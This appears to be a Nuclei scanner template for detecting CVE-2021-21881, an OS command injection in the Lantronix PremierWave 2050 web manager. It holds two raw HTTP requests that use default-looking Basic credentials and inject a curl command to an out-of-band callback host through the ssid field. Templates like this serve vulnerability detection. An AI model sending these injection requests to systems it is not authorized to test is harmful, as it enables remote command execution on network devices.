61 lines
2.2 KiB
YAML
61 lines
2.2 KiB
YAML
id: CVE-2021-21881
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info:
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name: Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection
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author: gy741
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severity: critical
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description: Lantronix PremierWave 2050 8.9.0.0R4 contains an OS command injection vulnerability. A specially-crafted HTTP request can lead to command in the Web Manager Wireless Network Scanner. An attacker can make an authenticated HTTP request to trigger this vulnerability.
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remediation: |
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Apply the latest firmware update provided by Lantronix to mitigate the vulnerability.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1325
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21881
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 9.9
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cve-id: CVE-2021-21881
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cwe-id: CWE-78
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epss-score: 0.97194
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epss-percentile: 0.99753
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cpe: cpe:2.3:o:lantronix:premierwave_2050_firmware:8.9.0.0:r4:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: lantronix
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product: premierwave_2050_firmware
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tags: cve,cve2021,lantronix,rce,oast,cisco
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variables:
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useragent: '{{rand_base(6)}}'
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http:
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- raw:
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Authorization: Basic dXNlcjp1c2Vy
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Content-Type: application/x-www-form-urlencoded
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ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' #
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Authorization: Basic YWRtaW46UEFTUw==
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Content-Type: application/x-www-form-urlencoded
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ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: {{useragent}}"
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# digest: 4a0a0047304502206a4e13fa2a98292547abccd3b6ebb3cb81dc1b8bb4cafb3c4edb0ee108715150022100b2bba92717bb1d39e81ae57770cb5652b9a1ebdabc6c989d7b5df665a44eaac5:922c64590222798bb761d5b6d8e72950
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